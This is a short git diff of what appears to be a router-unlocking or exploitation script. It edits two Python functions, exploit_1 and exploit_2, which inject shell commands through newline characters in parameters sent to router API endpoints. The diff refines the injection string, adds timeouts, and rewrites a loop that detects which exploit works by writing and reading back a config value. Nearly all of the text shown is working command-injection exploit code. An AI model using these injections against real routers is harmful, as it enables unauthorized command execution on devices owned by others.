@@ -44,13 +44,17 @@ def exploit_1(cmd, api = 'API/misystem/arn_switch'):
4444 cmd = cmd .replace (';' , '\n ' )
4545 params = { 'open' : 1 , 'mode' : 1 , 'level' : "\n " + cmd + "\n " }
4646 res = gw .api_request (api , params , resp = 'text' )
47+ time .sleep (0.5 )
4748 return res
4849
4950def exploit_2 (cmd , api = 'API/xqsystem/start_binding' ):
5051 # vuln/exploit author: ?????????
5152 cmd = cmd .replace (';' , '\n ' )
52- params = { 'uid' : 1234 , 'key' : "1234'\n " + cmd + "\n '" }
53- res = gw .api_request (api , params , resp = 'text' )
53+ params = { 'uid' : 1234 , 'key' : "1234' -X \n " + cmd + "\n '-E" }
54+ try :
55+ res = gw .api_request (api , params , resp = 'text' , timeout = 1.5 )
56+ except requests .exceptions .ReadTimeout :
57+ res = ''
5458 return res
5559
5660
@@ -60,17 +64,13 @@ def exploit_2(cmd, api = 'API/xqsystem/start_binding'):
6064vuln_test_num = 82000011
6165exec_cmd = None
6266exp_list = [ exploit_2 , exploit_1 ]
63- for exp_func in exp_list :
64- try :
65- res = exp_func (f"uci set diag.config.iperf_test_thr={ vuln_test_num } ; uci commit diag" )
66- #if '"code":0' not in res:
67- # continue
68- except requests .exceptions .ReadTimeout :
69- time .sleep (1 )
70- continue
71- time .sleep (0.5 )
67+ for idx , exp_func in enumerate (exp_list ):
68+ exp_test_num = vuln_test_num + idx
69+ res = exp_func (f"uci set diag.config.iperf_test_thr={ exp_test_num } ; uci commit diag" )
70+ #if '"code":0' not in res:
71+ # continue
7272 iperf_test_thr = gw .get_diag_iperf_test_thr ()
73- if iperf_test_thr == str (vuln_test_num ):
73+ if iperf_test_thr == str (exp_test_num ):
7474 exec_cmd = exp_func
7575 break
7676 time .sleep (0.5 )
0 commit comments